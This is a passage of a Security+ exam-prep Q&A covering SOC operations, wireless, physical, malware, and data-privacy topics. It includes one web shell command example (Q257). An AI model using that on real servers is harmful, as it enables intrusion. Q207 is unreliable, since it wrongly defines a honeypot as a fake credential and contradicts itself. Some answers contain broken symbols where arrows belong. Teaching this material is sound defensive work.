A SOC is a team and facility centralizing security monitoring, detection, and response. Functions: 24/7 monitoring, alert triage, incident response, threat intelligence, vulnerability management. Tiers: L1 (triage/initial analysis), L2 (investigation), L3 (advanced analysis/threat hunting). Example: SOC detects at 2 AM that a server is beaconing to a Tor exit node — L1 escalates to L2 who confirms C2 and isolates the server.

Q194 QUESTION

What is threat intelligence?

ANSWER

Threat intelligence is knowledge about current and emerging threats to inform security decisions. Types: (1) Strategic — executive-level, geopolitical, trends; (2) Operational — campaign details, attacker TTPs; (3) Tactical — specific IoCs (IPs, hashes, domains). Example: Threat intelligence feed alerts that APT29 is actively targeting your sector with a new phishing lure — SOC creates detection rules immediately.

Q195 QUESTION

What is the MITRE ATT&CK framework?

ANSWER

MITRE ATT&CK is a knowledge base of real-world adversary tactics, techniques, and procedures (TTPs). Organized as a matrix: Tactics (Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command & Control, Exfiltration, Impact). Example: Detecting T1566 (Phishing) technique using email gateway logs and endpoint alerts.

Q196 QUESTION

What is a vulnerability scan?

ANSWER

A vulnerability scan uses automated tools to identify known vulnerabilities. Example: Nessus scans a server, finds: CVE-2021-44228 (Log4Shell) critical, CVE-2023-XXXX (Apache) high, OpenSSL outdated medium. Scans are authenticated (credentialed — more accurate) or unauthenticated. Run weekly for critical systems, monthly for standard. Results feed the patch management process.

Q197 QUESTION

What is security monitoring and logging best practices?

ANSWER

Log everything meaningful: authentication events, privileged access, network connections, file access, process execution, API calls. Best practices: (1) Centralize in SIEM, (2) Use NTP for synchronized timestamps, (3) Protect log integrity — send to write-once storage, (4) Retain logs per compliance requirements (PCI DSS: 12 months, HIPAA: 6 years), (5) Alert on critical events within minutes.

Q198 QUESTION

What is user and entity behavior analytics (UEBA)?

ANSWER

UEBA uses ML to establish behavioral baselines and detect anomalies. Example: An employee normally logs in from Chicago at 9 AM. UEBA detects login from Beijing at 3 AM, accessing 10,000 files in 5 minutes (baseline: 50/hour) — alerts on impossible travel and mass download. Detects insider threats and account compromise that rule-based systems miss.

Q199 QUESTION

What is an attack surface?

ANSWER

The attack surface is the sum of all points where an attacker could attempt to enter or extract data. Example: A company's attack surface includes: externally exposed web apps, VPN endpoints, email, DNS, exposed APIs, employee endpoints, supply chain. Reduce attack surface: disable unused services, close unnecessary ports, remove unused accounts, patch known vulnerabilities.

Q200 QUESTION

What is a CVE and NVD?

ANSWER

CVE (Common Vulnerabilities and Exposures) is a standardized identifier for known vulnerabilities (CVE-2021-44228). NVD (National Vulnerability Database) is NIST's database that enriches CVEs with CVSS scores, affected products, and remediation guidance. Example: Search NVD for CVE-2021-44228 to find which Log4j versions are affected and recommended remediation.

Q201 QUESTION

What is continuous monitoring?

ANSWER

Continuous monitoring provides ongoing visibility into security posture rather than point-in-time assessments. Example: AWS Security Hub continuously monitors 200+ security best practices across all accounts, sends findings to Splunk, which triggers alerts for critical findings. Automated compliance checks run every 15 minutes — not just at quarterly audit time.

Q202 QUESTION

What is threat emulation and red teaming?

ANSWER

Red team operations simulate real adversary campaigns to test defenses. Example: Red team uses spear phishing to gain initial access, installs Cobalt Strike beacon, performs lateral movement using pass-the-hash, achieves domain admin, exfiltrates sample data — all while the blue team tries to detect and respond. Results measure real detection and response capability.

Q203 QUESTION

What is log correlation?

ANSWER

Log correlation links related events across multiple systems to identify attacks. Example: Standalone alert: 'Failed login on server X' — could be benign. Correlated: Failed login on server X (5 attempts) + VPN login from new country + access to sensitive share Y within 15 minutes = high-confidence credential attack. SIEM rules define correlation logic across multiple log sources.

Q204 QUESTION

What is a security dashboard?

ANSWER

Security dashboards provide real-time visibility into security metrics. Key metrics: mean time to detect (MTTD), mean time to respond (MTTR), open critical vulnerabilities, phishing click rate, patch compliance %, alert volume trends, top attack types. Example: Executive dashboard shows MTTD improved from 72 hours to 4 hours after SIEM implementation — demonstrating security investment value.

Q205 QUESTION

What is file integrity monitoring (FIM)?

ANSWER

FIM detects unauthorized changes to files and configurations. Example: Tripwire monitors critical system files (C:\Windows\System32, /etc/passwd, web application files). Any change triggers an alert. Detects: malware modifying system files, unauthorized configuration changes, web shell uploads. Required by PCI DSS for all system components.

Q206 QUESTION

What is network traffic analysis (NTA)?

ANSWER

NTA inspects network traffic patterns to detect threats. Example: Darktrace's AI detects a device sending 50 MB of data at 3 AM to an external IP — unusual for that device type. The AI flags it as potential data exfiltration. NTA tools: Zeek, Darktrace, ExtraHop, Corelight. Detect: beaconing, lateral movement, data exfiltration, malware C2.

Q207 QUESTION

What is a honeypot?

ANSWER

A honeypot is a fake credential or data item that triggers alerts when accessed. Example: A fake AWS access key (AKIA...) deployed in a code repository. If an attacker finds and uses it, CloudTrail logs the API call — immediately alerting that credentials were stolen and used. More actionable than honeypots since they detect specific credential theft.

12 Wireless & Mobile Security

11 Qs

Q208 QUESTION

What are Wi-Fi security protocols?

ANSWER

Wi-Fi security protocols: (1) WEP – broken, do not use (RC4 cipher, crackable in minutes); (2) WPA – TKIP cipher, also weak; (3) WPA2-Personal – AES-CCMP cipher, uses pre-shared key (PSK), vulnerable to offline dictionary attacks; (4) WPA2-Enterprise – uses 802.1X/RADIUS, unique per-user credentials, much stronger; (5) WPA3 – SAE replaces PSK, perfect forward secrecy, protection against offline attacks.

Q209 QUESTION

What is WPA3 and SAE?

ANSWER

WPA3 uses SAE (Simultaneous Authentication of Equals, aka Dragonfly) for key exchange. SAE provides: (1) No offline dictionary attacks – attacker must interact with AP for each guess; (2) Forward secrecy – captured handshakes can't be cracked later; (3) PMF (Protected Management Frames) – prevents deauthentication attacks. WPA3-Enterprise adds 192-bit security mode for sensitive environments.

Q210 QUESTION

What is a rogue access point?

ANSWER

A rogue AP is an unauthorized wireless access point connected to the network. Example: An employee plugs a personal Wi-Fi router into the office network for convenience – it becomes a rogue AP bypassing perimeter controls. Attackers can also plant rogue APs. Detection: wireless IDS/IPS (WIDS), AP scanning, comparing authorized AP list. Mitigation: 802.1X on wired ports.

Q211 QUESTION

What is Bluetooth security?

ANSWER

Bluetooth security threats: (1) Bluejacking – sending unsolicited messages; (2) Bluesnarfing – unauthorized access to device data; (3) Bluebugging – full device access/control; (4) KNOB attack – key negotiation downgrade to weaker encryption. Best practices: Disable Bluetooth when not in use, don't accept pairing requests from unknown devices, use Bluetooth 5.0+ with LE Secure Connections.

Q212 QUESTION

What is NFC security?

ANSWER

NFC (Near Field Communication) operates at <10cm range. Security risks: (1) Eavesdropping at close range; (2) Relay attacks – extending effective range using two devices; (3) Data interception during payment; (4) Malicious NFC tags triggering unintended actions. Example: An attacker places a malicious NFC tag on a public kiosk that opens a phishing URL when a phone is tapped.

Q213 QUESTION

What is mobile application security?

ANSWER

Mobile app security risks (OWASP Mobile Top 10): (1) Improper credential usage — hardcoded API keys; (2) Inadequate supply chain security — vulnerable libraries; (3) Insecure authentication; (4) Insufficient input/output validation; (5) Insecure communication — no TLS certificate pinning; (6) Inadequate privacy controls; (7) Binary protections — no obfuscation/anti-tampering; (8) Security misconfiguration.

Q214 QUESTION

What is certificate pinning?

ANSWER

Certificate pinning hard-codes the expected certificate or public key into an app. Example: A banking app pins DigiCert's certificate. Even if an attacker presents a valid certificate from a rogue CA on the device, the app rejects it because it doesn't match the pinned certificate. Prevents MitM attacks using fraudulently obtained certificates.

Q215 QUESTION

What is device encryption on mobile?

ANSWER

Mobile device encryption protects data at rest. iOS: full disk encryption enabled by default using hardware keys tied to UID. Android: file-based encryption (FBE) since Android 10. Example: A lost iPhone with 6-digit PIN — data is encrypted; without the PIN, the hardware key cannot be derived. Enable encryption and strong PINs; avoid biometric-only unlock for high-security scenarios.

Q216 QUESTION

What is Jailbreaking/Rooting and security implications?

ANSWER

Jailbreaking (iOS) / Rooting (Android) removes OS security restrictions. Implications: (1) Disables Secure Boot and kernel integrity protection; (2) Apps can access all data — no sandbox isolation; (3) Malware can persist with root privileges; (4) MDM profiles can be removed; (5) Updates may be blocked. MDM solutions detect jailbroken/rooted devices and can deny access or wipe corporate data.

Q217 QUESTION

What is deauthentication attack?

ANSWER

A deauthentication attack sends forged 802.11 deauthentication frames (management frames, not encrypted in WPA2) to disconnect clients from an AP. Example: Attacker forces clients off the legitimate AP, captures the WPA2 4-way handshake when they reconnect, then cracks the PSK offline. WPA3 with PMF (Protected Management Frames) encrypts deauthentication frames, preventing this attack.

Q218 QUESTION

What is wireless site survey?

ANSWER

A wireless site survey maps RF coverage, signal strength, channel interference, and rogue access points. Example: Before deploying a corporate WLAN, conduct a passive survey to map existing RF environment, then active survey after deployment to verify coverage meets requirements. Security value: detect unauthorized APs (rogue AP detection), ensure no coverage gaps that force clients to connect to untrusted networks.

13 Physical Security

10 Qs

Q219 QUESTION

What are physical security controls?

ANSWER

Physical security controls protect physical access. Categories: (1) Deterrent – warning signs, visible cameras, lighting; (2) Preventive – locks, mantraps, fences, badge readers; (3) Detective – CCTV, motion sensors, alarm systems; (4) Corrective – security guards responding to incidents. Example: Data center uses: perimeter fence (preventive) + CCTV (detective) + security guards (corrective).

Q220 QUESTION

What is a mantrap (access control vestibule)?

ANSWER

A mantrap is a small room with two doors where the first must close before the second opens. Used to prevent tailgating. Example: Entering a data center: badge at outer door, wait in mantrap (camera verifies you're alone), badge at inner door. If two people enter the mantrap, the inner door doesn't open. Eliminates tailgating even by authorized employees holding the door for visitors.

Q221 QUESTION

What is environmental security?

ANSWER

Environmental controls protect against physical threats to hardware. Examples: (1) HVAC – maintain 64-80°F, 40-60% humidity to prevent overheating and static; (2) UPS (Uninterruptible Power Supply) – battery backup for brief outages; (3) PDU (Power Distribution Unit) – distribute power to racks; (4) Fire suppression – clean agent systems (FM-200, Novec) that don't damage equipment unlike water.

Q222 QUESTION

What is a faraday cage?

ANSWER

A Faraday cage blocks electromagnetic signals. Example: (1) Storing a seized mobile phone in a Faraday bag prevents remote wipe commands; (2) SCIF (Sensitive Compartmented Information Facility) uses Faraday shielding to prevent RF signals from leaking classified conversations; (3) Car key fob signal blockers prevent relay attacks on keyless entry systems.

Q223 QUESTION

What is piggybacking vs tailgating?

ANSWER

Both involve unauthorized entry behind an authorized person. Tailgating: unauthorized person follows without the authorized person's knowledge or consent. Piggybacking: authorized person knowingly allows another to follow. Both are physical security breaches. Prevention: mantraps, security guards, turnstiles, employee awareness training on challenging unknown individuals.

Q224 QUESTION

What is a clean desk policy?

ANSWER

A clean desk policy requires employees to clear sensitive materials from their desk when not in use. Example: No customer data printouts left overnight, passwords not written on sticky notes, laptops locked with screen locks when unattended. Reduces risk of sensitive information being photographed, stolen, or seen by unauthorized visitors, cleaning staff, or other employees.

Q225 QUESTION

What are physical security audit considerations?

ANSWER

Physical security audit checks: (1) Perimeter – fencing, lighting, camera coverage, entry points; (2) Access control – badge readers, logs, visitor management; (3) Server room – badge access, camera inside, temperature monitoring, rack locks; (4) Clean desk – spot check for exposed sensitive materials; (5) Tailgating test – attempt to follow an employee through controlled doors; (6) Test badge cloning – can RFID badges be cloned? (7) Review access logs – who accessed the server room at 2 AM?

Q226 QUESTION

What is CCTV and video surveillance?

ANSWER

CCTV (Closed-Circuit Television) provides physical security monitoring and forensic evidence. Considerations: (1) Camera placement – entrances, exits, server rooms, parking lots; (2) Resolution – 1080p minimum for facial recognition; (3) Retention – 30-90 days typical; (4) Tamper protection – cameras mounted out of reach; (5) Secure transmission – encrypted video feed to prevent interception; (6) GDPR implications – inform people of recording, restrict access to footage.

Q227 QUESTION

What is a mantrap vs security guard?

ANSWER

Mantrap: automated physical access control preventing tailgating – 100% effective when properly designed, no human judgment required, operates 24/7, consistent. Security guard: human judgment, can identify suspicious behavior, respond to incidents, provide customer service – but subject to social engineering, fatigue, inconsistency. Best practice: combine both – mantrap for access control, guards for incident response and human judgment.

Q228 QUESTION

What is physical penetration testing?

ANSWER

Physical pen test evaluates physical security controls by attempting to breach them. Techniques tested: tailgating, lock picking, badge cloning (RFID skimming), social engineering receptionists, dumpster diving, shoulder surfing. Example: Pen tester obtains a cloned badge, bypasses the mantrap by distracting the guard, reaches the server room – report includes evidence and remediation recommendations. Requires written authorization before testing.

14 Emerging Technologies & Security

10 Qs

Q229 QUESTION

What is AI/ML security?

ANSWER

AI/ML introduces unique security risks. Attack types: (1) Adversarial attacks — add imperceptible noise to images to fool AI classifiers (stop sign $\square$ speed limit sign); (2) Model poisoning — corrupt training data to manipulate model behavior; (3) Model extraction — reconstruct model via queries; (4) Prompt injection — manipulate LLM behavior via crafted inputs. Also used defensively: ML-powered UEBA, anomaly detection.

Q230 QUESTION

What is IoT security?

ANSWER

IoT devices have unique security challenges: (1) Weak default credentials — 'admin/admin'; (2) No patch mechanism — firmware never updated; (3) No encryption — plaintext protocols; (4) Large attack surface — billions of devices. Example: Mirai botnet compromised 600,000 IoT devices using default credentials to launch 1.2 Tbps DDoS attack. Best practices: change defaults, isolate on dedicated VLAN, disable unnecessary services.

Q231 QUESTION

What is OT/ICS security?

ANSWER

OT (Operational Technology) and ICS (Industrial Control Systems) secure physical processes. SCADA systems control power grids, water treatment, pipelines. Unique challenges: (1) Legacy systems — 20+ year old PLCs without patch support; (2) Uptime priority — can't patch/reboot production systems; (3) Safety-critical — security incident can cause physical harm. Stuxnet demonstrated that cyberattacks can cause physical damage.

Q232 QUESTION

What is blockchain security?

ANSWER

Blockchain security properties: immutability (altering a block changes all subsequent block hashes), transparency (public ledger), decentralization (no single point of failure). Vulnerabilities: (1) 51% attack — majority hash power controls the chain; (2) Smart contract vulnerabilities — The DAO hack (\$60M stolen via reentrancy bug); (3) Private key theft — if your key is stolen, funds are gone. Blockchain is not inherently secure — implementations vary.

Q233 QUESTION

What is quantum computing impact on security?

ANSWER

Quantum computers threaten current cryptography: (1) Shor's algorithm breaks RSA and ECC; (2) Grover's algorithm halves symmetric key security (AES-128 $\square$ effectively 64-bit). Mitigations: NIST PQC standards — CRYSTALS-Kyber (key encapsulation), CRYSTALS-Dilithium (signatures). Harvest now, decrypt later — adversaries are collecting encrypted traffic to decrypt once quantum computers mature.

Q234 QUESTION

What is a supply chain attack?

ANSWER

Supply chain attacks compromise software or hardware during development/distribution. Examples: (1) SolarWinds – malicious code in legitimate update (2020); (2) XZ Utils backdoor – attacker spent months contributing to open-source project to insert backdoor (2024); (3) Hardware implants – theoretical chips added during manufacturing. Defense: SBOM, code signing, vendor risk assessments, dependency verification.

Q235 QUESTION

What is 5G security?

ANSWER

5G introduces new security features: network slicing isolation, improved authentication (SUPI protection replaces IMSI catchers' effectiveness), enhanced encryption. New risks: (1) Expanded attack surface – more connected devices; (2) Network slicing isolation failures; (3) Supply chain risks (Huawei/ZTE concerns); (4) ORAN (Open RAN) increases software-defined attack surface; (5) 5G standalone vs. non-standalone different security postures.

Q236 QUESTION

What is privacy-enhancing technology (PET)?

ANSWER

PETs protect personal data while enabling analytics. Examples: (1) Differential privacy – adds mathematical noise to datasets before analysis (used by Apple for telemetry); (2) Homomorphic encryption – compute on encrypted data; (3) Federated learning – ML model trained locally, only gradients shared (Google's Gboard); (4) Secure multi-party computation – multiple parties compute result without revealing inputs.

Q237 QUESTION

What is deepfake and its security impact?

ANSWER

Deepfakes are AI-generated synthetic media (video, audio, images) indistinguishable from real. Security impact: (1) Vishing 2.0 – cloned voice of CEO authorizing wire transfers (happened to UK energy firm, \$243K loss); (2) Video conference impersonation – fake video of executive in real-time meetings; (3) Disinformation – fake news videos. Detection: deepfake detectors, out-of-band verification for financial requests, behavioral biometrics. Call back known numbers – don't trust caller ID.

Q238 QUESTION

What is shadow IT and its security risk?

ANSWER

Shadow IT is unauthorized technology use outside IT governance. Example: Department uses a free cloud storage service (not approved by IT) to share project files – the service has no security review, files may be stored unencrypted, no DLP monitoring, no offboarding procedure. Discovery: CASB identifies all cloud services in use (often 10x more than IT-approved). Risk: data breach, compliance violation, malware distribution.

15 Security+ SY0-701 Exam Focus

12 Qs

Q239 QUESTION

What is the CompTIA Security+ SY0-701 exam format?

ANSWER

SY0-701 consists of up to 90 questions (multiple choice and performance-based), 90-minute time limit, passing score 750 (on a scale of 100-900). Domains: (1) General Security Concepts 12%, (2) Threats Vulnerabilities & Mitigations 22%, (3) Security Architecture 18%, (4) Security Operations 28%, (5) Security Program Management & Oversight 20%. No hands-on lab — performance-based questions simulate tasks.

Q240 QUESTION

What are the five SY0-701 exam domains?

ANSWER

(1) General Security Concepts 12%: cryptography, authentication, security controls; (2) Threats, Vulnerabilities & Mitigations 22%: attack types, malware, vulnerability scanning; (3) Security Architecture 18%: network design, cloud security, infrastructure security; (4) Security Operations 28%: monitoring, incident response, identity management; (5) Security Program Management 20%: GRC, risk management, data privacy.

Q241 QUESTION

What are the key changes from SY0-601 to SY0-701?

ANSWER

SY0-701 changes: (1) New emphasis on Zero Trust architecture; (2) More cloud security content (CASB, CNAPP); (3) Added AI/ML security; (4) Removed legacy topics (older protocols); (5) New domain structure (5 domains vs 6 in SY0-601); (6) Stronger OT/ICS focus; (7) Supply chain security added; (8) More automation/orchestration content (SOAR). Reflects current threat landscape.

Q242 QUESTION

What are security control categories?

ANSWER

Control categories: (1) Technical — software/hardware controls (firewalls, encryption, MFA); (2) Managerial/Administrative — policies, procedures, risk assessments; (3) Operational — day-to-day processes (security awareness training, patch management, background checks); (4) Physical — locks, cameras, mantraps. Each category applies across control types: Preventive, Detective, Corrective, Deterrent, Compensating.

Q243 QUESTION

What are control types?

ANSWER

Control types: (1) Preventive — stops attacks before they happen (firewall, MFA, patching); (2) Detective — identifies attacks in progress (IDS, SIEM, audit logs); (3) Corrective — reduces impact after incident (incident response, backup restore); (4) Deterrent — discourages attacks (warning banners, visible cameras); (5) Compensating — alternative when primary control isn't feasible (one-time passwords if smart cards unavailable); (6) Directive — guide behavior (policies, training).

Q244 QUESTION

What is a SY0-701 performance-based question?

ANSWER

Performance-based questions (PBQs) simulate real tasks in a virtual environment. Examples: (1) Configure a firewall rule to block traffic from a specific IP; (2) Analyze a packet capture and identify the attack type; (3) Review logs and identify a compromised account; (4) Match security terms to their definitions via drag-and-drop; (5) Configure a SIEM correlation rule. PBQs appear at the start – attempt them but don't spend too long.

Q245 QUESTION

What is non-repudiation?

ANSWER

Non-repudiation prevents denial of having performed an action. Achieved through: (1) Digital signatures – only the private key holder could have signed; (2) Audit logs – immutable records of actions with timestamps; (3) Certificates – bind identity to public key. Example: An email signed with the sender's private key provides non-repudiation – the sender cannot later claim they didn't send it.

Q246 QUESTION

What is security+ exam strategy?

ANSWER

Exam tips: (1) Read questions fully – look for qualifiers like 'BEST', 'MOST', 'FIRST', 'LEAST'; (2) Eliminate obviously wrong answers; (3) When two answers seem correct – choose the most comprehensive or fundamental; (4) PBQs first – mark and skip if stuck; (5) Know acronyms – SIEM, EDR, MDM, CASB, WAF, IDS/IPS; (6) Practice with CompTIA CertMaster and Jason Dion's practice tests; (7) Study CompTIA Security+ objectives document.

Q247 QUESTION

What are common exam tricks and traps?

ANSWER

Common traps: (1) 'Identify' vs 'Prevent' – IDS identifies, IPS prevents; (2) 'Active' vs 'Passive' – vulnerability scan is active, OSINT is passive; (3) Authentication vs Authorization – 'who are you' vs 'what can you do'; (4) Encryption 'in transit' vs 'at rest' – different controls needed; (5) Symmetric vs Asymmetric – symmetric is faster (bulk data), asymmetric is for key exchange and signatures.

Q248 QUESTION

What are key protocols and ports to memorize?

ANSWER

Critical ports: 21 FTP, 22 SSH, 23 Telnet (insecure), 25 SMTP, 53 DNS, 80 HTTP, 110 POP3, 143 IMAP, 389 LDAP, 443 HTTPS, 445 SMB, 636 LDAPS, 993 IMAPS, 995 POP3S, 1433 MSSQL, 1521 Oracle, 3306 MySQL, 3389 RDP, 5060 SIP, 8080 HTTP-alt, 8443 HTTPS-alt. Always replace insecure with secure versions: Telnet→SSH, HTTP→HTTPS, FTP→SFTP, LDAP→LDAPS.

Q249 QUESTION

What are key encryption algorithm comparison points?

ANSWER

Algorithm comparison: AES (symmetric, fast, 128/192/256-bit, current standard); RSA (asymmetric, slow, 2048+ bit, key exchange/signatures); ECC (asymmetric, efficient, 256-bit≈RSA-3072, mobile/IoT); DES/3DES (legacy, broken/weak, avoid); SHA-1 (broken, avoid); SHA-256/384/512 (current standard). MD5/SHA-1 for legacy compatibility only. TLS 1.3 mandates AES-GCM, ECDHE, SHA-256+.

Q250 QUESTION

What are the most tested topics on Security+?

ANSWER

High-frequency exam topics: (1) Attack types and mitigations; (2) Authentication mechanisms (MFA, biometrics, SSO); (3) Cryptography (symmetric vs asymmetric, hashing, PKI); (4) Network security (firewalls, IDS/IPS, VPN, DMZ); (5) Incident response phases; (6) Risk management concepts; (7) Access control models (RBAC, ABAC, MAC, DAC); (8) Cloud security and shared responsibility; (9) Compliance frameworks (HIPAA, PCI DSS, GDPR); (10) Log analysis and SIEM.

16 Malware & Threat Actor Types

15 Qs

Q251 QUESTION

What are the types of malware?

ANSWER

Malware types: (1) Virus – attaches to legitimate files, requires user action to spread; (2) Worm – self-propagating, spreads without user interaction (WannaCry spread via EternalBlue); (3) Trojan – disguised as legitimate software; (4) Ransomware – encrypts files, demands payment; (5) Spyware – collects data covertly; (6) Adware – displays unwanted ads; (7) Rootkit – hides at OS/firmware level; (8) Keylogger – captures keystrokes; (9) Botnet – network of infected 'zombie' systems.

Q252 QUESTION

What is ransomware and how does it work?

ANSWER

Ransomware encrypts victim's files and demands cryptocurrency payment for decryption. Example: LockBit 3.0 process: (1) Initial access via phishing or RDP brute force; (2) Establish persistence; (3) Credential theft and lateral movement; (4) Disable backups (VSS shadow copies); (5) Exfiltrate data (double extortion – pay or data published); (6) Encrypt files with AES; (7) Display ransom note. Prevention: offsite backups, MFA, EDR, email filtering.

Q253 QUESTION

What is an APT (Advanced Persistent Threat)?

ANSWER

APTs are sophisticated, long-term targeted attacks usually by nation-states. Characteristics: (1) Advanced – custom malware, zero-days; (2) Persistent – maintain access for months/years undetected; (3) Targeted – specific organization or sector. Example: APT29 (Cozy Bear, Russia) used SolarWinds supply chain attack to maintain access to US government networks for 9+ months before discovery.

Q254 QUESTION

What are threat actor types?

ANSWER

Threat actor types: (1) Nation-state – highly sophisticated, geopolitical goals (APT28, Lazarus Group); (2) Organized crime – financially motivated, ransomware, BEC (FIN7, Conti); (3) Hacktivists – ideologically motivated, DDoS and defacement (Anonymous); (4) Insider threats – employees with malicious intent or negligence; (5) Script kiddies – low-skill, use existing tools; (6) Competitors – corporate espionage.

Q255 QUESTION

What is a rootkit?

ANSWER

A rootkit hides malicious code from the OS and security tools. Types: (1) Kernel rootkit – modifies OS kernel (hardest to detect); (2) User-mode rootkit – hooks API calls; (3) Bootloader rootkit (bootkit) – infects MBR/UEFI, loads before OS; (4) Firmware rootkit – persists in hardware firmware. Detection: compare running processes to disk, boot from external media, use rootkit scanners (GMER, Malwarebytes Anti-Rootkit).

Q256 QUESTION

What is fileless malware?

ANSWER

Fileless malware executes entirely in memory without dropping files to disk, evading traditional antivirus. Example: PowerShell Empire – attacker executes encoded PowerShell via phishing macro, downloads and runs shellcode in memory using legitimate system tools (LOLBins). Detection: memory forensics, behavioral analysis (EDR), PowerShell logging (ScriptBlock logging), AMSI (Antimalware Scan Interface).

Q257 QUESTION

What is a backdoor?

ANSWER

A backdoor provides unauthorized persistent remote access, bypassing normal authentication. Example: WebShell – attacker uploads a PHP file (cmd.php?cmd=whoami) to a compromised web server, enabling command execution via HTTP. Other backdoors: reverse shells, SSH authorized keys, scheduled tasks. Detection: file integrity monitoring, network monitoring for outbound connections.

Q258 QUESTION

What is a keylogger?

ANSWER

A keylogger records keystrokes to capture credentials and sensitive information. Types: (1) Hardware – physical device between keyboard and computer; (2) Software – kernel driver or user-mode hook; (3) Browser-based – JavaScript injected into web forms. Example: Zeus banking trojan used form grabbing to capture credentials from banking websites before TLS encryption. Detection: EDR behavioral analysis, unexpected processes with keyboard API hooks.

Q259 QUESTION

What is a botnet?

ANSWER

A botnet is a network of compromised 'zombie' computers controlled by a command-and-control (C2) server. Example: Mirai botnet – infected IoT devices (cameras, routers) sent 1.2 Tbps DDoS attack against Dyn DNS, taking down Twitter, Netflix, and Reddit. Bot operations: DDoS, spam, credential stuffing, crypto mining. Takedown: FBI/Europol seize C2 servers in botnet takedown operations.

Q260 QUESTION

What is a logic bomb?

ANSWER

A logic bomb is malicious code that executes when specific conditions are met (trigger condition). Example: A disgruntled IT administrator plants code that deletes the user database on a specific date after their termination. Activated by: date/time, absence of login (dead man's switch), specific file access. Prevention: code reviews, separation of duties, access revocation procedures upon employee departure.

Q261 QUESTION

What are living-off-the-land (LOL) techniques?

ANSWER

LOL techniques use legitimate built-in system tools for malicious purposes to avoid detection. Example: Attacker uses PowerShell (legitimate) to download and execute malware in memory, uses certutil.exe to decode base64 payloads, uses PsExec for lateral movement, uses WMI for persistence. Legitimate tools bypass application whitelisting. Detection: behavioral analysis, PowerShell logging, application control.

Q262 QUESTION

What is a Trojan vs. a virus?

ANSWER

Virus: attaches to a legitimate file and replicates by infecting other files — self-replicating, requires host file. Example: Macro virus in a Word document spreads to other Office files. Trojan: disguised as legitimate software — does not self-replicate. Example: A 'free VPN app' that is actually spyware. Trojans rely on social engineering (user runs them willingly); viruses self-spread once a host is infected.

Q263 QUESTION

What is command and control (C2)?

ANSWER

C2 (Command and Control) is the attacker's infrastructure for communicating with compromised systems. C2 channels: (1) HTTP/HTTPS — blends with normal traffic; (2) DNS tunneling — encodes data in DNS queries; (3) Social media — posts contain hidden commands; (4) Tor/I2P — anonymizes C2 traffic. Example: Cobalt Strike uses malleable C2 profiles to mimic legitimate software (Microsoft updates, CrowdStrike traffic) in network communications.

Q264 QUESTION

What is threat intelligence sharing?

ANSWER

Threat intelligence sharing distributes IoCs and TTPs between organizations to improve collective defense. Standards: STIX (Structured Threat Information Expression) for data format, TAXII (Trusted Automated eXchange of Indicator Information) for transport protocol. Example: FS-ISAC shares threat intelligence among financial institutions — a bank that detects a new phishing campaign shares IoCs, allowing other banks to block it proactively.

Q265 QUESTION

What are the motivations of threat actors?

ANSWER

Threat actor motivations: (1) Financial — ransomware, BEC, credit card theft (organized crime); (2) Espionage — intellectual property theft, government secrets (nation-states); (3) Ideological — hacktivism, disruption (Anonymous); (4) Revenge — disgruntled employees; (5) Notoriety — script kiddies, bragging rights; (6) Disruption — critical infrastructure attacks. Understanding motivation helps predict attack types and targets.

17 Data Security & Privacy

12 Qs

Q266 QUESTION

What is data classification?

ANSWER

Data classification categorizes data by sensitivity to apply appropriate controls. Government: Top Secret, Secret, Confidential, Unclassified. Corporate: (1) Public – press releases; (2) Internal – employee handbook; (3) Confidential – business strategies; (4) Restricted/Secret – trade secrets, source code, PII, financial data. Example: PII (names, SSNs) classified as Restricted – encrypted at rest, limited access, audit logs, retention limits.

Q267 QUESTION

What is DLP (Data Loss Prevention)?

ANSWER

DLP prevents unauthorized data exfiltration. Example: Symantec DLP policy blocks emails containing 16-digit numbers (credit cards) to external addresses. Network DLP monitors traffic. Endpoint DLP blocks USB transfers of files containing PII patterns. CASB DLP prevents uploads to unsanctioned cloud storage. DLP requires data classification – can't protect data you haven't identified.

Q268 QUESTION

What is data sovereignty vs. data residency?

ANSWER

Data residency: physical location where data is stored. Data sovereignty: which country's laws apply to the data. Example: GDPR requires EU personal data to be processed lawfully – even if stored in the US, EU law applies. Russia's Federal Law 149-FZ requires Russian citizen data to be stored on servers physically within Russia. Multinational organizations must map data flows and comply with all applicable laws.

Q269 QUESTION

What is PII vs PHI vs PCI data?

ANSWER

PII (Personally Identifiable Information): any data that can identify an individual – name, SSN, email, IP address (under GDPR). PHI (Protected Health Information): HIPAA-protected health records – diagnosis, treatment, insurance. PCI data: payment card data – PAN, CVV, cardholder name, expiry date. Each requires specific compliance: PII→GDPR/CCPA, PHI→HIPAA, PCI→PCI DSS.

Q270 QUESTION

What are data retention policies?

ANSWER

Data retention defines how long data must be kept and when it must be destroyed. Examples: HIPAA – medical records 6 years; PCI DSS – audit logs 12 months; GDPR – only as long as necessary for purpose. Data destruction methods: (1) Degaussing – magnetic erasure; (2) Shredding – physical destruction; (3) Crypto-shredding – destroy encryption keys; (4) DoD 5220.22-M overwriting standard. Certificate of destruction for compliance evidence.

Q271 QUESTION

What is the right to be forgotten?

ANSWER

The right to erasure (GDPR Article 17) allows individuals to request deletion of their personal data. Example: A user requests deletion of their account from a social media platform. The company must delete the user's data from production systems, backups (within reasonable time), and inform third parties to whom data was shared. Exceptions: legal obligations, public interest, freedom of expression.

Q272 QUESTION

What is tokenization vs. encryption?

ANSWER

Tokenization replaces sensitive data with a non-sensitive token. Example: Credit card 4111-1111-1111-1111 → token TK-8821-9923. The token maps to the real number in a secure token vault. No mathematical relationship between token and original – tokens are useless if stolen. Unlike encryption, tokenized data can be searched and indexed normally. PCI DSS accepts tokenization as equivalent to encryption for cardholder data protection.

Q273 QUESTION

What is data masking?

ANSWER

Data masking replaces sensitive data with realistic but fake data for non-production use. Example: Production database has customer SSN 123-45-6789. Masked version for developers: 987-65-4321 (valid format, fake data). Types: (1) Static masking – creates masked copy; (2) Dynamic masking – masks data in real-time based on user role. Allows developers to test with realistic data without exposing real PII.

Q274 QUESTION

What is a privacy impact assessment (PIA)?

ANSWER

A PIA evaluates how a new system or process handles personal data and privacy risks. Required by GDPR for high-risk processing (called DPIA – Data Protection Impact Assessment). Example: Before deploying facial recognition in a retail store, conduct a DPIA: What data is collected? Who has access? How long stored? What are the risks? What safeguards are in place? Is collection proportionate to purpose?

Q275 QUESTION

What is data minimization?

ANSWER

Data minimization collects only the data necessary for the specified purpose (GDPR principle). Example: A newsletter signup form asking for name and email is appropriate. Asking for date of birth, phone number, and address violates data minimization. Implement: define purpose first, collect minimum fields, purge data once purpose is fulfilled, regular data audits to identify unnecessary collection.

Q276 QUESTION

